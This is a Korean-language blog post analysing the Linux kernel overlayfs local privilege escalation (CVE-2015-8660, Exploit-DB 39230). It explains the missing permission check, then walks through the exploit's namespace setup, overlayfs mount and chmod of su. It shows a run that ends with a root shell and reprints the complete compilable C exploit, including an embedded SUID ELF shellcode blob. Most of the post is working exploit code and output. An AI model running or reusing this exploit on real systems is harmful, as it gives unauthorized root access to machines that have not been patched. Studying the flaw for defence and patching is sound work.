[EXPLOIT] Linux Kernel Overlayfs - Local Privilege Escalation 취약점 분석

작년 6월쯤 overlayfs 관련 local root exploit 이 나와서 좀 관찰해봤던 기억이 납니다. 물론 포스팅에선 걍 소식만 전했었네요..

최근 유사형태의 취약점으로 edb에 overlayfs 를 이용한 권한상승 취약점이 다시 올라오게 되었습니다.

EDB-ID: 39230 CVE: 2015-8660 OSVDB-ID: N/A EDB Verified: Author: halfdog Published: 2016-01-12 Download Exploit: Source Raw Download Vulnerable App: N/A

작성중으로 한참 냅뒀었네요.. 대충 마무리하고 포스팅 진행합니다.

Overlayfs 취약점 원리

리눅스 유저는 overlayfs를 포함하여 일반 사용자 권한으로 파일시스템을 마운트 할 수 있는데 이 과정 중 overlayfs에 있는 파일모드 변경 시 권한에 대한 확인 누락으로 사용자가 root로 권한을 상승할 수 있는 취약점입니다.

크게 흐름을 보자면 새로운 유저를 생성하고 Clone 관련 플래그(CLONE_NEWUSER CLONE_NEWNS flags)를 포함하여 namespace를 마운트할 때 overlayfs에서 lower filesystem의 /bin을 사용하게 되는데 이 부분의 문제를 이용하여 공격을 수행하게 됩니다.

원래 Overlayfs가 live CD 같이 읽기 전용 저장소로 동작할 때 사용됩니다. (Live CD에서 많이 사용됩니다. 꼭 이것에서만 사용되는건 아니에요.)

overlayfs로 마운트 된 후 내부의 파일의 모드를 변경할 때 보안 체크로직이 누락되어 SUID의 바이너리를 생성하고, 외부에서 해당 바이너리를 실행하여 Root 를 탈취합니다.

Exploit Code Analysis - Main

맨 앞부분에선 공격에 사용될 su와 mount 패스 및 tmp 디렉토리를 지정하고 취약 부분으로 넘어가게 됩니다.


char *targetSuidPath="/bin/su";
char *helperSuidPath="/bin/mount";

..snip..

  sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  int setGroupsFd=open(idMapFileName, O_WRONLY);
  if(setGroupsFd<0) {
    fprintf(stderr, "Failed to open setgroups\n");
    return(1);
  }
 ....등등

사실상 실제 중요한 부분은 호출되는 함수에 있겠지요. Main 함수에서 쭉 따라오다 보면 아래와 같은 부분이 있습니다.


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {

여기서 clone 함수를 이용해 Clone 관련 플래그를 지정하고 childFunc를 호출합니다. childFunc 부분은 아래에서 다룹니다.

그다음 아래와 같이 idMapFileName에 할당된 pid를 가지고 프로세스 내 setgroups와 uid 등을 집어넣습니다.


sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  int setGroupsFd=open(idMapFileName, O_WRONLY);
  if(setGroupsFd<0) {
    fprintf(stderr, "Failed to open setgroups\n");
    return(1);
  }
  result=write(setGroupsFd, "deny", 4);
  if(result<0) {
    fprintf(stderr, "Failed to disable setgroups\n");
    return(1);
  }
  close(setGroupsFd);

  sprintf(idMapFileName, "/proc/%d/uid_map", pid);
  fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
  int uidMapFd=open(idMapFileName, O_WRONLY);
  if(uidMapFd<0) {
    fprintf(stderr, "Failed to open uid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getuid());
  result=write(uidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(uidMapFd);

  sprintf(idMapFileName, "/proc/%d/gid_map", pid);
  fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
  int gidMapFd=open(idMapFileName, O_WRONLY);
  if(gidMapFd<0) {
    fprintf(stderr, "Failed to open gid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getgid());
  result=write(gidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(gidMapFd);

그러고 아래로 쭉 가서 보면 아까 지정한 idMapFileName을 execve를 통해 시스템 콜로 넘기는 것으로 root 를 탈취하는 것으로 보입니다.


// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      helperArgs[0]=suidWriteNext;
      execve(helperSuidPath, helperArgs, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(helperPid, NULL, 0);
    suidWriteNext=suidWriteTestPos;
  }
  close(destFd);
  execve(idMapFileName, argv+argPos-1, NULL);
  fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
      errno, strerror(errno));
  return(1);

이젠 이 과정을 위한 childFunc 함수를 볼까요.

Exploit Code Analysis - childFunc(overlayfs 마운트 후 처리부분)


static int childFunc(void *arg) {
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while(geteuid()!=0) {
    usleep(100);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  if(result) {
    fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  chdir("/tmp/x/bin");
  result=chmod("su", 04777);
  if(result) {
    fprintf(stderr, "Mode change failed\n");
    return(1);
  }

  fprintf(stderr, "Namespace helper waiting for modification completion\n");
  struct stat statBuf;
  char checkPath[128];
  sprintf(checkPath, "/proc/%d", getppid());
  while(1) {
    usleep(100);
    result=stat(checkPath, &statBuf);

    if(result) {
      fprintf(stderr, "Namespacer helper: parent terminated\n");
      break;
    }
// Wait until parent has escalated.
    if(statBuf.st_uid) break;
  }

  chdir("/");
  umount("/tmp/x/bin");
  unlink("/tmp/x/over/su");
  rmdir("/tmp/x/over");
  rmdir("/tmp/x/bin/work");
  rmdir("/tmp/x/bin");
  rmdir("/tmp/x/");
  fprintf(stderr, "Namespace part completed\n");

  return(0);
}

함수 초기부분에서 mount 함수를 통해 파일시스템을 마운트하는데, overlayfs 로 마운트합니다. /tmp/x/bin 은 overlay filesystem 으로 마운트되겠지요.


int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  if(result) {
    fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

그러고 나서 chdir로 작업디렉토리를 변경 후 su 파일의 권한을 4777 로 지정해줍니다.


chdir("/tmp/x/bin");
  result=chmod("su", 04777);
  if(result) {
    fprintf(stderr, "Mode change failed\n");
    return(1);
  }

마지막으로 umount 후 작업에 사용했던 파일들을 제거합니다.


chdir("/");
  umount("/tmp/x/bin");
  unlink("/tmp/x/over/su");
  rmdir("/tmp/x/over");
  rmdir("/tmp/x/bin/work");
  rmdir("/tmp/x/bin");
  rmdir("/tmp/x/");

Run Exploit

#> ./exploit_overlayfs – /bin/bash Setting uid map in /proc/491/uid_map Setting gid map in /proc/491/gid_map euid: 0, egid: 0 euid: 0, egid: 0 Namespace helper waiting for modification completion Namespace part completed #> whoami root

Full Code


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while(geteuid()!=0) {
    usleep(100);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  if(result) {
    fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  chdir("/tmp/x/bin");
  result=chmod("su", 04777);
  if(result) {
    fprintf(stderr, "Mode change failed\n");
    return(1);
  }

  fprintf(stderr, "Namespace helper waiting for modification completion\n");
  struct stat statBuf;
  char checkPath[128];
  sprintf(checkPath, "/proc/%d", getppid());
  while(1) {
    usleep(100);
    result=stat(checkPath, &statBuf);

    if(result) {
      fprintf(stderr, "Namespacer helper: parent terminated\n");
      break;
    }
// Wait until parent has escalated.
    if(statBuf.st_uid) break;
  }

  chdir("/");
  umount("/tmp/x/bin");
  unlink("/tmp/x/over/su");
  rmdir("/tmp/x/over");
  rmdir("/tmp/x/bin/work");
  rmdir("/tmp/x/bin");
  rmdir("/tmp/x/");
  fprintf(stderr, "Namespace part completed\n");

  return(0);
}

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int result;
  char *targetSuidPath="/bin/su";
  char *helperSuidPath="/bin/mount";

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }

  mkdir("/tmp/x", 0700);
  mkdir("/tmp/x/bin", 0700);
  mkdir("/tmp/x/over", 0700);

// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  int setGroupsFd=open(idMapFileName, O_WRONLY);
  if(setGroupsFd<0) {
    fprintf(stderr, "Failed to open setgroups\n");
    return(1);
  }
  result=write(setGroupsFd, "deny", 4);
  if(result<0) {
    fprintf(stderr, "Failed to disable setgroups\n");
    return(1);
  }
  close(setGroupsFd);

  sprintf(idMapFileName, "/proc/%d/uid_map", pid);
  fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
  int uidMapFd=open(idMapFileName, O_WRONLY);
  if(uidMapFd<0) {
    fprintf(stderr, "Failed to open uid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getuid());
  result=write(uidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(uidMapFd);

  sprintf(idMapFileName, "/proc/%d/gid_map", pid);
  fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
  int gidMapFd=open(idMapFileName, O_WRONLY);
  if(gidMapFd<0) {
    fprintf(stderr, "Failed to open gid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getgid());
  result=write(gidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(gidMapFd);

// Wait until /tmp/x/over/su exists
  struct stat statBuf;
  while(1) {
    usleep(100);
    result=stat("/tmp/x/over/su", &statBuf);
    if(!result) break;
  }

// Overwrite the file
  sprintf(idMapFileName, "/proc/%d/cwd/su", pid);

// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 

      0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80,

      0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };
  char *helperArgs[]={"/bin/mount", NULL};

  int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    pid_t helperPid=fork();
    if(!helperPid) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      helperArgs[0]=suidWriteNext;
      execve(helperSuidPath, helperArgs, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(helperPid, NULL, 0);
    suidWriteNext=suidWriteTestPos;
  }
  close(destFd);
  execve(idMapFileName, argv+argPos-1, NULL);
  fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
      errno, strerror(errno));
  return(1);

}

Reference

http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ https://en.wikipedia.org/wiki/OverlayFS https://www.exploit-db.com/exploits/39230/